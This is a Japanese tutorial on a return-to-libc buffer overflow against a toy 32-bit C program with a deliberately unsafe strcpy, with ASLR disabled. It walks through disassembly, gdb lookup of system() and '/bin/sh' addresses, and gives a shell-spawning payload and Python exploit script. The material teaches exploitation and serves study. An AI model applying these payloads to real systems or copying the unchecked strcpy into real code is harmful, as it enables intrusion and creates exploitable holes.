このコードの脆弱性をついてシェルを起動する.
なお, ASLRは無効化しているものとする.
#include <stdio.h>
#include <string.h>
void vuln(char* pass)
{
char buf[512];
strcpy(buf, pass);
}
int main(int argc, char** argv)
{
vuln(argv[1]);
return 0;
}
$ gcc -m32 test.c
$ objdump -d a.out
080483fb <vuln>:
80483fb: 55 push %ebp
80483fc: 89 e5 mov %esp,%ebp
80483fe: 81 ec 08 02 00 00 sub $0x208,%esp
8048404: 83 ec 08 sub $0x8,%esp
8048407: ff 75 08 pushl 0x8(%ebp)
804840a: 8d 85 f8 fd ff ff lea -0x208(%ebp),%eax
8048410: 50 push %eax
8048411: e8 ba fe ff ff call 80482d0 <strcpy@plt>
8048416: 83 c4 10 add $0x10,%esp
8048419: 90 nop
804841a: c9 leave
804841b: c3 ret
これを見るとlea命令でold ebpやreturnアドレスを除いて0x208バイトがvulnの
スタックに積まれていることがわかる.
次にsystem関数がロードされているメモリと"/bin/sh"がロードされているメモリを
調べる.
$ gdb -q a.out
Reading symbols from a.out...(no debugging symbols found)...done.
gdb-peda$ b main
gdb-peda$ run
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e21eb0 <system>
gdb-peda$ find "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0xf7f458f9 ("/bin/sh")
system関数のアドレスは0xf7e21eb0であり, "/bin/sh"の文字列のアドレスは
0xf7f458f9であることがわかる.
つまり, スタックは以下のように書き換えられればよいことがわかる.
high
-> "/bin/sh"
---
args -> CCCC(dummy return address)
--- ---
return to main -> return to system
--- ---
old ebp -> BBBB
--- ---
0x208bytes -> A*0x208
buffer
--- ---
low
$ ./a.out "$(python2 -c 'print "A"*0x208 + "BBBB" + "\xb0\x1e\xe2\xf7" + "CCCC" + "\xf9\x58\xf4\xf7"')"
sh-4.3$ exit
exit
zsh: segmentation fault (core dumped) ./a.out
シェルが起動することが確かめられた.
segmentation faultを起こさないためには"CCCC"のところを
exit関数へのアドレスに置き換えればよい.
vulnがretする直前はespはreturn to systemのところを指し,
ret直後は1ワードアドレスが上がることに注意.
最後にpython2で書いたshellcodeを貼る.
#!/usr/bin/env python
import os
import struct
system_addr = 0xf7e21eb0
shell_str_addr = 0xf7f458f9
payload = "A"*0x208
payload += "BBBB"
payload += struct.pack("I", system_addr)
payload += "CCCC"
payload += struct.pack("I", shell_str_addr)
os.system("./a.out \"%s\"" % payload)
参考
return to libcではないが非常に図がわかりやすい.